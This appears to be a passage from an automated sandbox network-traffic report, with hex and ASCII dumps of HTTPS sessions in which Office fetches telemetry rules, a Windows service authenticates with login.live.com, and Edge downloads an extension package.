bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.5	49752	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:25 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:25 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:25 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: a31f2de1-f01e-0096-7209-2d10ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031625Z-16547b76f7fkcrm9hC1DFWxdag0000000f4000000000e9ca x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 03:16:25 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.5	49754	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:25 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:25 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:25 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 26663d07-401e-0029-2faf-319b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031625Z-16547b76f7f4k79zhC1DFWu9y00000000f5g0000000049hr x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 03:16:25 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.5	49755	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:25 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:25 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:25 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 216c6b49-701e-001e-23a0-34f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031625Z-17df447cdb5c9wvxhC1DFWn08n0000000bu00000000024r9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 03:16:25 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.5	49756	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:25 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:26 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:25 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 9f0f5f99-201e-0096-25f1-2cace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031625Z-16547b76f7fcrtpchC1DFW52e80000000f1g00000000h11b x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 03:16:26 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.5	49753	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:25 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:26 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:26 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 47cde2a8-501e-0047-01a2-34ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031626Z-15869dbbcc65c582hC1DFWgpv400000008xg000000007s6s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 03:16:26 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49751	20.190.159.0	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:26 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-12 03:16:26 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-12 03:16:26 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 12 Nov 2024 03:15:26 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_SN1 x-ms-request-id: ed5a6bca-6dbd-49f0-8091-cd5f42f5d35c PPServer: PPV: 30 H: SN1PEPF0002F04C V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 12 Nov 2024 03:16:25 GMT Connection: close Content-Length: 1276
2024-11-12 03:16:26 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49773	142.250.184.225	443	5600	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:26 UTC	594	OUT	GET /crx/blobs/AYA8VyyVmiyWvldTRU0qGaR4RUSL6-YrG6uKRsMPsRWu4uzTWsENQ0Oe4TwjJlNxU5Vx3wW0XCsKQHAJ2XkWCO0eQ7UF3N9B6xg6w6N4ZQ_ezL5_s1EfR63s25vMOuhpdI4AxlKa5cntVqVuAOGwNK_pRVduNn5fPIzZ/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 03:16:27 UTC	573	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 135771 X-GUploader-UploadID: AHmUCY0GkvHhk2fe-WEcJJ_nA6Rkxma9OWZFvSN9bVkDiuDy_iOqPoshpbDpZl8I77_jvWIrRQGo35mZtg X-Goog-Hash: crc32c=5YFIVw== Server: UploadServer Date: Mon, 11 Nov 2024 20:33:29 GMT Expires: Tue, 11 Nov 2025 20:33:29 GMT Cache-Control: public, max-age=31536000 Age: 24178 Last-Modified: Tue, 22 Oct 2024 20:33:19 GMT ETag: a1239f8c_b608f476_b1045d58_830b10c8_3ed9cb2d Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-12 03:16:27 UTC	805	IN	Data Raw: 43 72 32 34 03 00 00 00 e2 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-11-12 03:16:27 UTC	1378	IN	Data Raw: aa 54 89 36 c1 f8 f2 5a f7 ba 97 f1 3f fe f5 43 56 d7 f2 f3 3c 8c e7 4b ff e3 ef 3f c6 cf aa aa f3 6b fd 97 a1 fa fc cb e9 ac aa 1f 7f fd 71 3d bf f7 95 fc 59 5e fa b1 ea c7 1f 7f ff d7 8f 21 7f a8 4b 2e f5 e7 ab 47 d8 14 a6 6d 08 6e 1b a9 59 d7 a5 59 ab f2 b1 7f e2 d6 f5 9c 75 d3 57 66 8e a7 d2 54 4f 22 d9 3f a1 dd 8b 8d ce f7 b3 f0 55 2f 52 64 ec 9b cb 59 7f be 8e 1a 6a ee bf ff de a9 ab 48 a3 f3 51 8d bf ec 7b b7 96 fe fb f9 78 de 4f 51 f3 7e 2b 7d bb ff fe 4c d9 39 5f 12 3a 97 2c 45 97 ef ef 0b 13 71 f1 30 26 ce df 1f 49 3b 62 c4 e0 48 bb b1 11 3e ea f2 8e 02 39 b3 7d 09 42 84 80 d8 92 2e 7c e4 41 b8 a9 7c 61 8b 47 e8 1c 82 eb b9 f4 a1 91 6f f7 4f 7b e5 5c 0b 13 d5 85 cf e6 83 09 bb 83 09 54 69 a1 5a 98 fa ba 1b e6 c2 dc 9c 0f db f0 51 98 ce ef f3 fc Data Ascii: T6Z?CV<K?kq=Y^!K.GmnYYuWfTO"?U/RdYjHQ{xOQ~+}L9_:,Eq0&I;bH>9}B.\|A\|aGoO{\TiZQ
2024-11-12 03:16:27 UTC	1378	IN	Data Raw: 88 1b 77 cc 06 18 f9 d1 78 a4 43 22 82 21 af 78 ed e5 3b 17 31 63 f2 12 16 6f 58 13 8a ac 6b 1f 08 96 b6 8e 59 b4 c8 5e 7b ff 95 e3 e3 6c 66 93 48 75 bd 57 d8 44 86 61 51 06 73 e9 21 bf d8 c1 38 0f 10 8e 94 67 c9 ae de 62 0f 6a 0d 08 71 f9 00 01 36 e4 d7 e2 f8 fd 7e ad e7 de 90 39 1c a3 5e 29 61 4c ee 81 a2 7b 44 c7 8e 2a b9 2d 76 d2 4b 76 32 2c a9 88 31 c0 6e d9 6b 8d a6 5a 8f 18 9d a2 60 79 ed cb ff 87 06 97 0d 1e 32 a3 56 32 10 9f b9 a9 d2 c4 8b 46 12 b8 5e dc 88 5e 98 61 86 3b 1d 0a 96 7b 16 9e c8 68 27 de 4a 05 5d 6c ca cd 72 ee c9 b5 fc 47 ed 73 37 d8 17 1e 9a eb 56 7a a1 49 00 ec 50 20 44 6e 0c 07 32 6b 0d f0 31 8f 82 17 33 36 ef 77 16 e0 38 a3 78 57 75 ef f7 45 fe d6 da dc 1b 3c a4 60 9b 5a c3 ab 54 de 7c 84 75 4b 00 a2 d8 aa 43 dd 63 24 a2 05 b3 Data Ascii: wxC"!x;1coXkY^{lfHuWDaQs!8gbjq6~9^)aL{D*-vKv2,1nkZ`y2V2F^^a;{h'J]lrGs7VzIP Dn2k136w8xWuE<`ZT\|uKCc$
2024-11-12 03:16:27 UTC	1378	IN	Data Raw: ec 3c 53 7b bd 2b 0d f6 8f 48 d5 27 4c 9d 21 67 cf 13 d5 fd 28 ef 16 fb ab 5b b1 72 6f 45 f7 8a 4f da b3 e7 94 c8 03 e1 ba 8f ea 98 8d ad 70 5b 75 d3 db 31 31 1e 65 20 3f 73 03 a7 8c c0 5d 02 07 98 cf a2 15 9d ee 3b 96 d8 5b 6e bd d6 e7 1c e9 c6 a6 3c ec 04 df 03 02 d8 07 6a 07 4f 70 bb e6 0d 44 84 8e 31 f6 ed 1b e9 6a c5 3d 68 26 0c d9 55 07 3f b0 8e cd 25 f6 a5 bf 92 bd 1a 68 de 40 51 36 ee b9 e4 ce 81 50 6c c6 16 de 88 4e bc 66 c4 fd 22 da f5 e3 d6 a9 11 77 1e cc c8 00 69 9f 41 62 95 20 df bd 2c b1 bf 6b be 5b ba 52 77 ca c0 9b 04 7c b7 44 3b 68 e6 61 cf 76 78 4c 3a 74 24 9e d6 21 da de bf f7 1b 89 3f 5c 33 4b 7c e7 5f 9b f5 e1 23 f2 f7 8f ff 83 bf 91 02 97 ae 8d 7f 06 9c bd 4c 5d 83 7b e3 6b 6c 38 41 a1 10 8f 67 d6 26 30 9e 29 6c 6d ce c7 a7 68 e7 66 Data Ascii: <S{+H'L!g([roEOp[u11e ?s];[n<jOpD1j=h&U?%h@Q6PlNf"wiAb ,k[Rw\|D;havxL:t$!?\3K\|_#L]{kl8Ag&0)lmhf
2024-11-12 03:16:27 UTC	1378	IN	Data Raw: 73 be d1 73 8f fe f4 bd 21 33 d5 4d 7a 30 92 e6 a0 73 01 69 4f 6c e7 64 e7 06 c4 1f cd ca 43 29 99 d5 a9 e4 d2 27 1d 24 47 c6 70 b9 db 83 b8 ff e3 7b 43 fd 1c bd 60 8e 2a b8 9e 3b 74 be 19 0c 65 10 ff b7 71 9b 03 75 c2 bc 05 66 42 30 d4 bd 44 4c 1f e0 98 f8 e0 5e 51 d6 09 16 ee 62 8a 41 64 da 7a 3d 5a 33 a2 f1 1d 19 2a c9 80 f3 07 8d 29 4d f6 90 9d 6a f4 d8 56 61 85 9f 3a ce 4e 59 a7 6e a9 e5 ea 31 ff db f8 7b 43 fb aa 2b b5 c2 4c a8 10 57 3e 9d 12 73 e0 51 5f ef a3 40 64 48 ab 09 6b 6a 14 35 a1 2f 83 cb 26 d1 e4 cb 9d b8 cb 6e d2 3d 1d 90 fa 7e 9d 1e 6b cc d2 f8 7b 2e c6 37 f3 df 63 e9 ba ef fe 7d de f2 f4 a7 e7 2c 7f fb ee 20 7d 36 a6 a6 6a 7f 3b 2b 59 eb 18 b5 6f b9 8e 0b c1 c7 7b c1 1d 95 99 f6 ad e8 d4 b5 e8 6c ed 3f a7 af c2 af 3f 73 bf 3d ff ef 77 Data Ascii: ss!3Mz0siOldC)'$Gp{C`;tequfB0DL^QbAdz=Z3)MjVa:NYn1{C+LW>sQ_@dHkj5/&n=~k{.7c}, }6j;+Yo{l??s=w
2024-11-12 03:16:27 UTC	1378	IN	Data Raw: 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 76 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 50 03 fc 66 0a 00 20 00 00 00 00 00 01 00 18 00 00 08 b1 f4 0b 14 db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 3d 6f dc 30 0c dd fb 2b 08 cf 46 70 fd 1c b2 05 08 d0 a1 45 53 a4 59 02 64 61 4e b4 23 48 a6 04 8a 72 72 08 f2 df 4b 9d 7d 08 ce e8 d0 45 03 45 be f7 f8 1e 5f bb bd 10 2a 31 3d 77 97 af dd 44 a5 e0 48 dd 65 f7 e7 c7 d5 ef 2b f8 75 7f 77 d7 bd f5 1d bd e4 88 8c ea 13 a7 61 88 9e c9 f9 82 8f 91 dc f9 d4 75 85 87 ba db d1 17 81 b5 ef 02 6e 26 70 15 66 1f 23 20 cf cb 37 3b 84 ef 29 8d 91 e0 3a 85 3a 11 2b 54 45 06 cf 4a c2 a4 35 e7 90 72 36 84 b1 3f 42 0e df 72 66 Data Ascii: !-_locales/sv/messages.jsonUTPf R=o0+FpESYdaN#HrrK}EE_*1=wDHe+uwaun&pf# 7;)::+TEJ5r6?Brf
2024-11-12 03:16:27 UTC	1378	IN	Data Raw: d6 92 10 e8 84 d6 9a 4c 28 b9 28 68 15 81 3d 3a d0 47 7f 87 f5 aa c5 a0 2c 48 96 b4 9f 93 24 bf 74 ca 3b a4 a0 f9 6a e6 a1 cc 40 81 91 19 30 5d a1 39 7e 39 01 48 39 a0 4f 22 d8 2a e1 e0 08 be e7 cf 6d 6c b8 0b be c9 03 07 28 7d 6a dc e2 3f 42 98 78 2d d6 a1 b1 19 12 f8 68 b4 04 85 9d 97 35 1c 1b 0c 16 5f 55 b4 c5 fe ea 43 28 83 0e 40 08 bf 0d 79 16 7a c3 cf 26 b0 46 00 0e 4b 9e 50 f8 ed 3b 0e 8c 5d 3c 0b 64 ca 72 2e 90 41 1f b1 d4 e7 ed 22 33 dd 46 8d 4d 1a 99 c7 e4 99 3c 21 86 b1 e4 d2 54 27 cf df ef 91 4e 01 0d 30 81 96 55 96 37 4e 3d d0 01 5c b2 ca 55 80 04 ec aa e2 2a 73 90 6b ac 51 58 5b 6a 0a 34 8b b4 b7 4f b0 0d b9 c6 2c a1 85 38 3d c9 71 2f 07 ef 6d df 60 8f b9 82 8c 87 80 43 e8 d4 88 fe 62 9f b4 94 b9 d7 66 ac 7c 82 88 1d 51 d1 f9 61 37 fe 39 d8 Data Ascii: L((h=:G,H$t;j@0]9~9H9O"ml(}j?Bx-h5_UC(@yz&FKP;]<dr.A"3FM<!T'N0U7N=\UskQX[j4O,8=q/m`Cbf\|Qa79
